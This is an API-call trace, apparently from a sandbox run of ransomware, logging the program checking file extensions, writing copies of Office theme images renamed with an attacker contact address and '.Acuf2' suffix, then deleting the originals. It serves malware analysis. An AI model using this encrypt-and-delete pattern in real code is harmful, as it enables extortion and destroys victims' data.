	[0051.904] lstrlenW (lpString=".bz2") returned 4
	[0051.904] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.904] lstrlenW (lpString=".7z") returned 3
	[0051.904] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0051.904] lstrlenW (lpString=".dbf") returned 4
	[0051.904] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0051.904] lstrlenW (lpString=".1cd") returned 4
	[0051.904] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0051.904] lstrlenW (lpString=".jpg") returned 4
	[0051.904] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.904] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0051.904] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0051.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.905] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=53115) returned 1
	[0051.905] CloseHandle (hObject=0x208) returned 1
	[0051.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20
	[0051.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.905] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.905] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0051.905] GetLastError () returned 0x0
	[0051.906] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0xcf7b, lpOverlapped=0x0) returned 1
	[0051.908] WriteFile (in: hFile=0x1e8, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xcf80, lpOverlapped=0x0) returned 1
	[0051.910] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.910] WriteFile (in: hFile=0x1e8, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0051.910] SetEndOfFile (hFile=0x1e8) returned 1
	[0051.910] CloseHandle (hObject=0x1e8) returned 1
	[0051.910] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.910] SetEndOfFile (hFile=0x208) returned 1
	[0051.911] CloseHandle (hObject=0x208) returned 1
	[0051.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.912] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1
	[0051.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0051.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0051.912] lstrlenW (lpString=".doc") returned 4
	[0051.912] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.912] lstrlenW (lpString=".docx") returned 5
	[0051.912] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.912] lstrlenW (lpString=".pdf") returned 4
	[0051.912] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.912] lstrlenW (lpString=".xls") returned 4
	[0051.912] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.912] lstrlenW (lpString=".xlsx") returned 5
	[0051.912] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.912] lstrlenW (lpString=".ppt") returned 4
	[0051.912] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0051.912] lstrlenW (lpString=".zip") returned 4
	[0051.912] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.912] lstrlenW (lpString=".rar") returned 4
	[0051.912] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.912] lstrlenW (lpString=".bz2") returned 4
	[0051.912] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.912] lstrlenW (lpString=".7z") returned 3
	[0051.913] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0051.913] lstrlenW (lpString=".dbf") returned 4
	[0051.913] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0051.913] lstrlenW (lpString=".1cd") returned 4
	[0051.913] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0051.913] lstrlenW (lpString=".jpg") returned 4
	[0051.913] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0051.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0051.913] lstrlenW (lpString=".doc") returned 4
	[0051.913] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.913] lstrlenW (lpString=".docx") returned 5
	[0051.913] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.913] lstrlenW (lpString=".pdf") returned 4
	[0051.913] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.913] lstrlenW (lpString=".xls") returned 4
	[0051.913] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.913] lstrlenW (lpString=".xlsx") returned 5
	[0051.913] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.913] lstrlenW (lpString=".ppt") returned 4
	[0051.913] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0051.913] lstrlenW (lpString=".zip") returned 4
	[0051.913] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.913] lstrlenW (lpString=".rar") returned 4
	[0051.914] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.914] lstrlenW (lpString=".bz2") returned 4
	[0051.914] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.914] lstrlenW (lpString=".7z") returned 3
	[0051.914] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0051.914] lstrlenW (lpString=".dbf") returned 4
	[0051.914] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0051.914] lstrlenW (lpString=".1cd") returned 4
	[0051.914] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77
	[0051.914] lstrlenW (lpString=".jpg") returned 4
	[0051.914] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.914] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0051.914] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0051.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.915] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2604) returned 1
	[0051.915] CloseHandle (hObject=0x208) returned 1
	[0051.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20
	[0051.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.915] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.915] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0051.917] GetLastError () returned 0x0
	[0051.917] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0xa2c, lpOverlapped=0x0) returned 1
	[0051.918] WriteFile (in: hFile=0x1e8, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xa30, lpOverlapped=0x0) returned 1
	[0051.920] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.920] WriteFile (in: hFile=0x1e8, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.920] SetEndOfFile (hFile=0x1e8) returned 1
	[0051.920] CloseHandle (hObject=0x1e8) returned 1
	[0051.920] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.920] SetEndOfFile (hFile=0x208) returned 1
	[0051.921] CloseHandle (hObject=0x208) returned 1
	[0051.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.921] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1
	[0051.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0051.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0051.921] lstrlenW (lpString=".doc") returned 4
	[0051.921] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.921] lstrlenW (lpString=".docx") returned 5
	[0051.921] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.922] lstrlenW (lpString=".pdf") returned 4
	[0051.922] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.922] lstrlenW (lpString=".xls") returned 4
	[0051.922] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.922] lstrlenW (lpString=".xlsx") returned 5
	[0051.922] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.922] lstrlenW (lpString=".ppt") returned 4
	[0051.922] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0051.922] lstrlenW (lpString=".zip") returned 4
	[0051.922] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.922] lstrlenW (lpString=".rar") returned 4
	[0051.922] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.922] lstrlenW (lpString=".bz2") returned 4
	[0051.922] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.922] lstrlenW (lpString=".7z") returned 3
	[0051.922] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0051.922] lstrlenW (lpString=".dbf") returned 4
	[0051.922] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0051.922] lstrlenW (lpString=".1cd") returned 4
	[0051.922] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0051.922] lstrlenW (lpString=".jpg") returned 4
	[0051.922] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0051.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0051.923] lstrlenW (lpString=".doc") returned 4
	[0051.923] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.923] lstrlenW (lpString=".docx") returned 5
	[0051.923] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.923] lstrlenW (lpString=".pdf") returned 4
	[0051.923] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.923] lstrlenW (lpString=".xls") returned 4
	[0051.923] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.923] lstrlenW (lpString=".xlsx") returned 5
	[0051.923] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.923] lstrlenW (lpString=".ppt") returned 4
	[0051.923] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0051.923] lstrlenW (lpString=".zip") returned 4
	[0051.923] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.923] lstrlenW (lpString=".rar") returned 4
	[0051.923] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.923] lstrlenW (lpString=".bz2") returned 4
	[0051.923] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.923] lstrlenW (lpString=".7z") returned 3
	[0051.923] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0051.923] lstrlenW (lpString=".dbf") returned 4
	[0051.923] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0051.923] lstrlenW (lpString=".1cd") returned 4
	[0051.923] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74
	[0051.923] lstrlenW (lpString=".jpg") returned 4
	[0051.924] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.924] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0051.924] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0051.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0052.450] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=31975) returned 1
	[0052.450] CloseHandle (hObject=0x1f8) returned 1
	[0052.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20
	[0052.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0052.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0052.450] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.450] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0052.451] GetLastError () returned 0x0
	[0052.451] ReadFile (in: hFile=0x1f8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x7ce7, lpOverlapped=0x0) returned 1
	[0052.453] WriteFile (in: hFile=0x158, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x7cf0, lpOverlapped=0x0) returned 1
	[0052.454] ReadFile (in: hFile=0x1f8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0052.454] WriteFile (in: hFile=0x158, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0052.455] SetEndOfFile (hFile=0x158) returned 1
	[0052.455] CloseHandle (hObject=0x158) returned 1
	[0052.455] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.455] SetEndOfFile (hFile=0x1f8) returned 1
	[0052.456] CloseHandle (hObject=0x1f8) returned 1
	[0052.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0052.456] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1
	[0052.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0052.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0052.456] lstrlenW (lpString=".doc") returned 4
	[0052.457] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0052.457] lstrlenW (lpString=".docx") returned 5
	[0052.457] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0052.457] lstrlenW (lpString=".pdf") returned 4
	[0052.457] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0052.457] lstrlenW (lpString=".xls") returned 4
	[0052.457] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0052.457] lstrlenW (lpString=".xlsx") returned 5
	[0052.457] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0052.457] lstrlenW (lpString=".ppt") returned 4
	[0052.457] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0052.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0052.457] lstrlenW (lpString=".zip") returned 4
	[0052.457] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0052.457] lstrlenW (lpString=".rar") returned 4
	[0052.457] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0052.457] lstrlenW (lpString=".bz2") returned 4
	[0052.457] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0052.457] lstrlenW (lpString=".7z") returned 3
	[0052.457] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0052.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0052.457] lstrlenW (lpString=".dbf") returned 4
	[0052.457] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0052.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0052.457] lstrlenW (lpString=".1cd") returned 4
	[0052.457] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0052.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0052.457] lstrlenW (lpString=".jpg") returned 4
	[0052.457] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0052.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0052.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0052.458] lstrlenW (lpString=".doc") returned 4
	[0052.458] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0052.458] lstrlenW (lpString=".docx") returned 5
	[0052.458] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0052.458] lstrlenW (lpString=".pdf") returned 4
